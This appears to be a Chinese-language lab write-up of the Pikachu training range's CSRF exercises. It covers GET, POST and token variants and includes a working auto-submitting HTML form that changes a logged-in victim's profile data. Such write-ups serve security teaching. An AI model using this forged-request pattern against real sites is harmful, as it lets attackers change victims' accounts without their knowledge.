1. 程式人生 > 其它 >[Pikachu 靶場] 3-跨站請求偽造

[Pikachu 靶場] 3-跨站請求偽造

CSRF:跨站請求偽造

0x00 CSRF(Cross-Site Request Forgery,跨站請求偽造)

在 CSRF 的攻擊場景中,攻擊者偽造請求(一般為連結),然後欺騙目標點選。受害者一旦點選了這個連結,攻擊就完成了——因此 CSRF 攻擊又被稱為 one-click 攻擊。這樣的描述還是過於模糊,憑感覺還是覺得和 XSS 有點類似,實則不然。

靶場說明給出了一個場景以幫助理解(略)。CSRF 需要利用目標本身具有的許可權,如果目標防範得當,就無法得手,且攻擊者在這一過程中並沒有拿到目標的許可權。與之相反,XSS 就是要拿到目標的許可權。

0x01 CSRF(GET)

靶場準備了兩個賬戶用來完成這個實驗,

  • 使用者名稱:kobe,密碼:123456;
  • 使用者名稱:lucy,密碼:123456。

另外準備兩個瀏覽器(用來區分兩個賬戶),這裡會在 Firefox 瀏覽器(走了抓包軟體的代理)登入 kobe 賬戶,在 Edge 瀏覽器登入 lucy 賬戶。

1. PoC

首先修改 kobe 賬戶的資訊:

提交後得到關鍵的 GET 包:

右擊一鍵生成 PoC,存為 HTML 待用。

2. 篡改

PoC 中填充的都是 kobe 的資訊。將這份 HTML 通過 Edge 瀏覽器開啟(登入了 lucy 賬戶的),提交後發現 lucy 賬戶資訊全都變成了 kobe 修改過的資訊。

由於是 GET 型,所有修改引數在 URL 中可見,所以直接修改 URL 的效果是相同的。

0x02 CSRF(POST)

POST 保護了 URL,只得另外構造一個表單來提交資料,誘導使用者點選。

1. 抓包

基於這幾項構造一個表單。

2. 表單

編寫一個表單,放在公網伺服器上,填充了 kobe 賬戶欲修改的資訊。

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.31.39:8081/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="boy" />
    <input id="phonenum" type="text" name="phonenum" value="213234343123" />
    <input id="add" type="text" name="add" value="dockerhub" />
    <input id="email" type="text" name="email" value="[email protected]" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

內網環境做實驗不需要什麼公網伺服器(意思到了就行),直接用 live server 掛一個服務就行。

3. 篡改

已經登入了 lucy 賬戶的 Edge 瀏覽器訪問上述表單的 URL,(實驗時為http://192.168.31.202:5500/CSRF-POST.html),再檢視資訊時發現已經被修改:

0x03 CSRF(token)

這回每次請求都會有 token,後臺會對此驗證。

檢視頁面原始碼就會發現這個 token:

那沒事了,反正只要提交一回,原理和之前一致,多提交一項 token 即可。